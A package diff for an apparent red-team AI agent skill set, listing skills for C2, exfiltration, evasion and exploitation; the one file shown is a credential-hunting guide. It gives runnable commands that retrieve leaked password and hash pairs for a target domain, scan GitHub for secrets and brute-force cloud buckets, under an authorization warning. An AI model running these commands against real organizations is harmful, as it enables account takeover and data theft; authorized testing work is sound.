rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,856 @@
1
+ ---
2
+ name: rt-credential-hunt
3
+ description: "Credential hunting skill. Use to search for leaked passwords, API keys, and tokens in breach databases (HaveIBeenPwned, DeHashed), GitHub repositories, paste sites, cloud storage, and config files. May find valid credentials immediately, saving exploitation time. Requires API keys for some sources."
4
+ ---
5
+
6
+ # rt-credential-hunt
7
+
8
+ ## Overview
9
+
10
+ Credential hunting is often the highest-ROI activity in the reconnaissance phase of a Red Team engagement. Leaked credentials, hardcoded API keys, and exposed tokens represent direct, low-noise paths to initial access — bypassing the need for exploit development entirely.
11
+
12
+ This skill covers the full credential hunting surface:
13
+ - **Breach databases** — email/password pairs from public data breaches (HIBP, DeHashed, IntelligenceX)
14
+ - **GitHub / GitLab / Bitbucket** — hardcoded secrets in repositories, commit history, and CI/CD config
15
+ - **Paste sites** — Pastebin, Ghostbin, and indexed paste archives
16
+ - **Cloud storage** — misconfigured S3 buckets, Azure Blob, GCP buckets with exposed secrets
17
+ - **Local / network config files** — .env, web.config, database.yml, Docker secrets
18
+ - **OSINT enrichment** — correlating found credentials with the target organization
19
+
20
+ All findings feed directly into the RTExit autodoc engine and are stored under `_rtexit-output/findings/credentials/`.
21
+
22
+ > LEGAL WARNING: Only hunt credentials against organizations you have written authorization to test. Accessing breach databases to retrieve credentials for unauthorized use is a criminal offence in most jurisdictions. Confirm RoE explicitly permits credential stuffing and breach database lookups before proceeding.
23
+
24
+ ---
25
+
26
+ ## Prerequisites
27
+
28
+ ### API Keys Required
29
+
30
+ | Service | Purpose | Cost | Env Var |
31
+ |---------|---------|------|---------|
32
+ | HaveIBeenPwned API | Domain / email breach lookup | USD 3.50/mo | `HIBP_API_KEY` |
33
+ | DeHashed | Full credential pairs from breaches | USD 5/query or subscription | `DEHASHED_API_KEY` / `DEHASHED_EMAIL` |
34
+ | IntelligenceX | Paste sites, dark web, breach data | Free tier available | `INTELX_API_KEY` |
35
+ | GitHub Token | Public repo secret scanning | Free (Personal Access Token) | `GITHUB_TOKEN` |
36
+ | Shodan | Exposed config files on internet-facing hosts | USD 69/mo | `SHODAN_API_KEY` |
37
+
38
+ Store all API keys in `~/.rtenv` and source at session start:
39
+ ```bash
40
+ source ~/.rtenv
41
+ ```
42
+
43
+ Example `~/.rtenv`:
44
+ ```bash
45
+ export HIBP_API_KEY="your_hibp_key_here"
46
+ export DEHASHED_API_KEY="your_dehashed_key_here"
47
+ export DEHASHED_EMAIL="your_dehashed_account_email"
48
+ export INTELX_API_KEY="your_intelx_key_here"
49
+ export GITHUB_TOKEN="ghp_yourpersonalaccesstoken"
50
+ export SHODAN_API_KEY="your_shodan_key_here"
51
+ ```
52
+
53
+ ### Tool Installation (Kali Linux)
54
+
55
+ ```bash
56
+ # Core tools
57
+ sudo apt-get install -y git python3-pip jq curl wget
58
+
59
+ # TruffleHog — secret scanning in git repos
60
+ pip3 install trufflehog
61
+ # OR binary install (recommended — faster, more signatures)
62
+ curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
63
+
64
+ # GitLeaks — fast secret detection in git repos
65
+ wget https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64.tar.gz
66
+ tar -xzf gitleaks_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/
67
+
68
+ # GitDorker — GitHub code search dorks
69
+ git clone https://github.com/obheda12/GitDorker.git /opt/GitDorker
70
+ pip3 install -r /opt/GitDorker/requirements.txt
71
+
72
+ # Gitrob — scans GitHub org repos for sensitive files
73
+ go install github.com/michenriksen/gitrob@latest
74
+
75
+ # GH-Archive / git-dumper — dump exposed .git directories
76
+ pip3 install git-dumper
77
+
78
+ # credential-digger — ML-enhanced secret scanner
79
+ pip3 install credentialdigger
80
+
81
+ # S3Scanner — enumerate and check S3 bucket permissions
82
+ pip3 install s3scanner
83
+
84
+ # CloudBrute — brute-force cloud storage names
85
+ git clone https://github.com/0xsha/CloudBrute.git /opt/CloudBrute
86
+
87
+ # Nuclei templates (for exposed credential endpoints)
88
+ go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
89
+ nuclei -update-templates
90
+
91
+ # Pastes/OSINT
92
+ pip3 install pwnedpasswords requests
93
+ ```
94
+
95
+ ---
96
+
97
+ ## Skill Levels
98
+
99
+ ### BEGINNER — Domain Breach Lookup
100
+
101
+ Check whether the target domain has appeared in public breaches. No exploitation, just breach confirmation.
102
+
103
+ ```bash
104
+ # 1. Check if target domain appears in HIBP breaches
105
+ TARGET_DOMAIN="target.com"
106
+ curl -s \
107
+ -H "hibp-api-key: ${HIBP_API_KEY}" \
108
+ -H "User-Agent: RTExit-CredHunt/1.0" \
109
+ "https://haveibeenpwned.com/api/v3/breacheddomain/${TARGET_DOMAIN}" \
110
+ | jq '.'
111
+
112
+ # 2. Check a specific email address
113
+ TARGET_EMAIL="admin@target.com"
114
+ curl -s \
115
+ -H "hibp-api-key: ${HIBP_API_KEY}" \
116
+ -H "User-Agent: RTExit-CredHunt/1.0" \
117
+ "https://haveibeenpwned.com/api/v3/breachedaccount/${TARGET_EMAIL}" \
118
+ | jq '.[] | {Name, BreachDate, DataClasses}'
119
+
120
+ # 3. Bulk-check a list of emails from OSINT
121
+ while read -r email; do
122
+ echo -n "[*] Checking $email ... "
123
+ result=$(curl -s -H "hibp-api-key: ${HIBP_API_KEY}" \
124
+ -H "User-Agent: RTExit-CredHunt/1.0" \
125
+ "https://haveibeenpwned.com/api/v3/breachedaccount/${email}")
126
+ if [ "$result" != "[]" ] && [ -n "$result" ]; then
127
+ echo "BREACHED"
128
+ echo "$email|$result" >> /tmp/hibp_hits.txt
129
+ else
130
+ echo "clean"
131
+ fi
132
+ sleep 1.5 # Respect rate limit
133
+ done < /tmp/target_emails.txt
134
+ ```
135
+
136
+ Save results:
137
+ ```bash
138
+ cp /tmp/hibp_hits.txt _rtexit-output/findings/credentials/hibp-domain-hits.txt
139
+ ```
140
+
141
+ ---
142
+
143
+ ### INTERMEDIATE — Credential Pair Retrieval + GitHub Dorks
144
+
145
+ Retrieve actual username:password pairs from breach databases and scan public GitHub for hardcoded secrets.
146
+
147
+ #### DeHashed — Retrieve Credential Pairs
148
+
149
+ ```bash
150
+ TARGET_DOMAIN="target.com"
151
+ DEHASHED_EMAIL="your@email.com"
152
+ DEHASHED_API_KEY="your_dehashed_key"
153
+
154
+ # Query DeHashed for all records matching the domain
155
+ curl -s \
156
+ -u "${DEHASHED_EMAIL}:${DEHASHED_API_KEY}" \
157
+ -H "Accept: application/json" \
158
+ "https://api.dehashed.com/search?query=domain%3A${TARGET_DOMAIN}&size=10000" \
159
+ | jq '.' > _rtexit-output/findings/credentials/dehashed-raw.json
160
+
161
+ # Parse out email:password pairs
162
+ jq -r '.entries[] | select(.password != null and .password != "") | "\(.email):\(.password)"' \
163
+ _rtexit-output/findings/credentials/dehashed-raw.json \
164
+ > _rtexit-output/findings/credentials/dehashed-creds.txt
165
+
166
+ # Parse out email:hashed pairs (for offline cracking)
167
+ jq -r '.entries[] | select(.hashed_password != null and .hashed_password != "") | "\(.email):\(.hashed_password)"' \
168
+ _rtexit-output/findings/credentials/dehashed-raw.json \
169
+ > _rtexit-output/findings/credentials/dehashed-hashes.txt
170
+
171
+ echo "[+] Credential pairs found: $(wc -l < _rtexit-output/findings/credentials/dehashed-creds.txt)"
172
+ echo "[+] Hash pairs found: $(wc -l < _rtexit-output/findings/credentials/dehashed-hashes.txt)"
173
+ ```
174
+
175
+ #### GitHub Dorking — Find Hardcoded Secrets
176
+
177
+ ```bash
178
+ TARGET_ORG="TargetOrgName"
179
+ TARGET_DOMAIN="target.com"
180
+ GITHUB_TOKEN="ghp_yourtoken"
181
+
182
+ # GitDorker — run standard secret dorks against target org
183
+ cd /opt/GitDorker
184
+ python3 GitDorker.py \
185
+ -t ${GITHUB_TOKEN} \
186
+ -q "${TARGET_DOMAIN}" \
187
+ -d dorks/BHIS_generaldorks.txt \
188
+ -o /tmp/gitdorker_results.txt
189
+
190
+ cp /tmp/gitdorker_results.txt _rtexit-output/findings/credentials/github-dork-results.txt
191
+
192
+ # TruffleHog — scan a specific GitHub org for secrets
193
+ trufflehog github \
194
+ --org "${TARGET_ORG}" \
195
+ --token="${GITHUB_TOKEN}" \
196
+ --only-verified \
197
+ --json \
198
+ > _rtexit-output/findings/credentials/trufflehog-org.json
199
+
200
+ # TruffleHog — scan a specific repo
201
+ TARGET_REPO="https://github.com/${TARGET_ORG}/target-repo"
202
+ trufflehog git "${TARGET_REPO}" \
203
+ --token="${GITHUB_TOKEN}" \
204
+ --only-verified \
205
+ --json \
206
+ > _rtexit-output/findings/credentials/trufflehog-repo.json
207
+
208
+ # GitLeaks — audit a cloned repo (including full commit history)
209
+ git clone "https://${GITHUB_TOKEN}@github.com/${TARGET_ORG}/target-repo.git" /tmp/target-repo
210
+ gitleaks detect \
211
+ --source /tmp/target-repo \
212
+ --report-format json \
213
+ --report-path _rtexit-output/findings/credentials/gitleaks-report.json \
214
+ --verbose
215
+ ```
216
+
217
+ #### IntelligenceX — Paste Site + Dark Web Search
218
+
219
+ ```bash
220
+ TARGET_DOMAIN="target.com"
221
+ INTELX_API_KEY="your_intelx_key"
222
+
223
+ # Search IntelligenceX for domain mentions
224
+ curl -s -X POST \
225
+ "https://2.intelx.io/intelligent/search" \
226
+ -H "x-key: ${INTELX_API_KEY}" \
227
+ -H "Content-Type: application/json" \
228
+ -d "{\"term\": \"${TARGET_DOMAIN}\", \"maxresults\": 100, \"media\": 0, \"sort\": 4}" \
229
+ | jq '.' > _rtexit-output/findings/credentials/intelx-search.json
230
+
231
+ # Extract search ID and retrieve results
232
+ SEARCH_ID=$(jq -r '.id' _rtexit-output/findings/credentials/intelx-search.json)
233
+ sleep 3
234
+ curl -s \
235
+ "https://2.intelx.io/intelligent/search/result?id=${SEARCH_ID}&limit=100&offset=0" \
236
+ -H "x-key: ${INTELX_API_KEY}" \
237
+ | jq '.' > _rtexit-output/findings/credentials/intelx-results.json
238
+ ```
239
+
240
+ ---
241
+
242
+ ### ADVANCED — Cloud Storage, Exposed .git, and Automated Validation
243
+
244
+ Enumerate misconfigured cloud storage, dump exposed .git directories, and validate credential pairs against live services.
245
+
246
+ #### S3 Bucket Enumeration
247
+
248
+ ```bash
249
+ TARGET_DOMAIN="target.com"
250
+ TARGET_ORG="targetorg" # Common bucket name prefix
251
+
252
+ # S3Scanner — check specific bucket names
253
+ s3scanner scan --bucket-file /tmp/bucket_names.txt \
254
+ --out-file _rtexit-output/findings/credentials/s3-buckets.txt
255
+
256
+ # Generate wordlist of likely bucket names
257
+ cat > /tmp/bucket_names.txt <<EOF
258
+ ${TARGET_ORG}
259
+ ${TARGET_ORG}-dev
260
+ ${TARGET_ORG}-staging
261
+ ${TARGET_ORG}-prod
262
+ ${TARGET_ORG}-backup
263
+ ${TARGET_ORG}-config
264
+ ${TARGET_ORG}-secrets
265
+ ${TARGET_ORG}-env
266
+ ${TARGET_ORG}-logs
267
+ ${TARGET_ORG}-data
268
+ www.${TARGET_DOMAIN}
269
+ static.${TARGET_DOMAIN}
270
+ assets.${TARGET_DOMAIN}
271
+ EOF
272
+
273
+ # CloudBrute — brute-force across AWS, Azure, GCP
274
+ cd /opt/CloudBrute
275
+ ./CloudBrute \
276
+ -d "${TARGET_DOMAIN}" \
277
+ -k "${TARGET_ORG}" \
278
+ -t 80 \
279
+ -T 10 \
280
+ -w /opt/CloudBrute/data/general_keywords.txt \
281
+ -o _rtexit-output/findings/credentials/cloudbrute-results.txt
282
+
283
+ # Direct AWS CLI check (unauthenticated)
284
+ aws s3 ls s3://${TARGET_ORG} --no-sign-request 2>/dev/null \
285
